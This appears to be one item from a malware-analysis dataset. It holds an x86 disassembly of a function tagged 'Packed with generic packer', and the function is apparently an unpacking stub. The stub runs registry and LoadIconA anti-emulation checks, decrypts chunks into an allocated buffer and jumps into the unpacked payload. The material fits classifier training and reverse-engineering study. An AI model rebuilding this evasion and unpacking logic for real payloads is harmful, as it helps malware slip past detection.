Function at 0x401510
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x78c], 4
mov dword [ebp - 0x774], 0x80000000
mov dword [ebp - 0x788], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x71c], eax
pushal
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0xd
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0xd
mov dword [ebp - 0x7dc], str.SOFTWAREmmasses
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0xd
call fcn.004014e0
mov ecx, 0x43
mov edx, dword [ebp - 0x7dc]
mov word [edx + 0x12], cx
mov eax, 0x6c
mov ecx, dword [ebp - 0x7dc]
mov word [ecx + 0x14], ax
lea edx, [ebp - 0x20]
push edx
push 1
push 0
mov eax, dword [ebp - 0x7dc]
push eax
push 0x80000002
call dword [0x42e2e8]
test eax, eax
je 0x401611
xor eax, eax
jmp 0x4018b7
lea ecx, [ebp - 0x20]
push ecx
push 1
push 0
push str.clsid000c103e_0000_0000_c000_000000000046
push 0x80000000
call dword [0x42e2e8]
test eax, eax
je 0x401634
xor eax, eax
jmp 0x4018b7
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x40164c
xor eax, eax
jmp 0x4018b7
push 1
mov edx, dword [0x42e2e4]
push edx
call fcn.00401a90
add esp, 8
mov dword [0x42e2f4], eax
mov eax, dword [0x42e2f4]
push eax
call fcn.004019e0
add esp, 4
mov dword [ebp - 0x784], eax
mov ecx, dword [0x42e2f4]
mov dword [ebp - 0x724], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x42e2f4]
jae 0x4016fa
mov eax, dword [ebp - 0x724]
push eax
mov ecx, dword [ebp - 0x780]
push ecx
call fcn.004013e0
add esp, 8
mov dword [ebp - 0x778], eax
mov edx, dword [ebp - 0x778]
push edx
mov eax, dword [0x42e2e4]
add eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 4]
push ecx
call fcn.004010e0
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x780]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x724]
sub ecx, dword [ebp - 0x778]
mov dword [ebp - 0x724], ecx
jmp 0x401682
mov edx, dword [0x42e2f4]
push edx
mov eax, dword [ebp - 0x784]
push eax
call fcn.004014a0
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [0x42e2d8], ecx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push 2
mov edx, dword [0x42e2e4]
push edx
call fcn.00401a90
add esp, 8
mov dword [0x42e2f4], eax
mov eax, dword [0x42e2f4]
push eax
call fcn.004019e0
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [0x42e2f4]
mov dword [ebp - 0x724], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x42e2f4]
jae 0x4017cf
mov eax, dword [ebp - 0x724]
push eax
mov ecx, dword [ebp - 0x780]
push ecx
call fcn.004013e0
add esp, 8
mov dword [ebp - 0x778], eax
mov edx, dword [ebp - 0x778]
push edx
mov eax, dword [0x42e2e4]
add eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 4]
push ecx
call fcn.004010e0
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x780]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x724]
sub ecx, dword [ebp - 0x778]
mov dword [ebp - 0x724], ecx
jmp 0x40175a
mov edx, dword [0x42e2f4]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.004014a0
add esp, 8
mov dword [ebp - 0x790], 0x401ab0
mov ecx, dword [ebp - 0x784]
mov edx, dword [ebp - 0x18]
mov dword [ecx], edx
mov dword [ebp - 0x78c], 0x5b000
mov eax, dword [ebp - 0x78c]
push eax
call fcn.004019e0
add esp, 4
mov dword [0x42e2c4], eax
push 0x23800
mov ecx, dword [ebp - 0x784]
push ecx
mov edx, dword [0x42e2c4]
add edx, 0x200
push edx
call fcn.004010e0
add esp, 0xc
call fcn.00401490
mov dword [ebp - 0x78c], eax
mov eax, dword [0x42e2c4]
sub eax, dword [ebp - 0x78c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x42e2c4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00401a20
add esp, 0xc
mov edx, dword [0x42e2c4]
add edx, 0x23670
mov dword [0x42e2c8], edx
popal
push 0x501094
mov eax, dword [ebp - 0x790]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x4018aa
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret